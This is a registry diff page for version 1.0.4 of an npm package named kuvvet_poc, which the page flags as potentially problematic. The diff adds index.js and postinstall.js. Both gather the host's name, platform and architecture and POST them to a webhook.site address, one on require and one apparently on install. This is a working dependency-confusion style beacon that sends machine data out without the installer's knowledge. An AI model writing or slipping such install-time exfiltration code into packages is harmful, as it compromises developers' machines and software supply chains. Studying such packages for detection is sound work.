kuvvet_poc 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of kuvvet_poc might be problematic. Click here for more details.
- package/index.js +42 -0
- package/package.json +13 -0
- package/postinstall.js +35 -0
package/index.js
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require('https');
|
3
|
+
|
4
|
+
module.exports = {
|
5
|
+
report: () => {
|
6
|
+
const hostname = os.hostname();
|
7
|
+
const platform = os.platform();
|
8
|
+
const arch = os.arch();
|
9
|
+
|
10
|
+
const data = JSON.stringify({
|
11
|
+
event: "require",
|
12
|
+
hostname: hostname,
|
13
|
+
platform: platform,
|
14
|
+
architecture: arch,
|
15
|
+
});
|
16
|
+
|
17
|
+
const options = {
|
18
|
+
hostname: 'webhook.site',
|
19
|
+
path: '/e52ba0bd-09b7-4287-a929-8bb5b20ff830',
|
20
|
+
port: 443,
|
21
|
+
method: 'POST',
|
22
|
+
headers: {
|
23
|
+
'Content-Type': 'application/json',
|
24
|
+
'Content-Length': data.length,
|
25
|
+
},
|
26
|
+
};
|
27
|
+
|
28
|
+
const req = https.request(options, (res) => {
|
29
|
+
console.log(`POST request sent during require. Status code: ${res.statusCode}`);
|
30
|
+
});
|
31
|
+
|
32
|
+
req.on('error', (error) => {
|
33
|
+
console.error(`Error: ${error.message}`);
|
34
|
+
});
|
35
|
+
|
36
|
+
req.write(data);
|
37
|
+
req.end();
|
38
|
+
},
|
39
|
+
};
|
40
|
+
|
41
|
+
// `require` edildiğinde otomatik çalıştırmak istiyorsanız
|
42
|
+
module.exports.report();
|
package/package.json
ADDED
package/postinstall.js
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require('https');
|
3
|
+
|
4
|
+
const hostname = os.hostname();
|
5
|
+
const platform = os.platform();
|
6
|
+
const arch = os.arch();
|
7
|
+
|
8
|
+
const data = JSON.stringify({
|
9
|
+
event: "postinstall",
|
10
|
+
hostname: hostname,
|
11
|
+
platform: platform,
|
12
|
+
architecture: arch,
|
13
|
+
});
|
14
|
+
|
15
|
+
const options = {
|
16
|
+
hostname: 'webhook.site',
|
17
|
+
path: '/e52ba0bd-09b7-4287-a929-8bb5b20ff830',
|
18
|
+
port: 443,
|
19
|
+
method: 'POST',
|
20
|
+
headers: {
|
21
|
+
'Content-Type': 'application/json',
|
22
|
+
'Content-Length': data.length,
|
23
|
+
},
|
24
|
+
};
|
25
|
+
|
26
|
+
const req = https.request(options, (res) => {
|
27
|
+
console.log(`POST request sent during postinstall. Status code: ${res.statusCode}`);
|
28
|
+
});
|
29
|
+
|
30
|
+
req.on('error', (error) => {
|
31
|
+
console.error(`Error: ${error.message}`);
|
32
|
+
});
|
33
|
+
|
34
|
+
req.write(data);
|
35
|
+
req.end();
|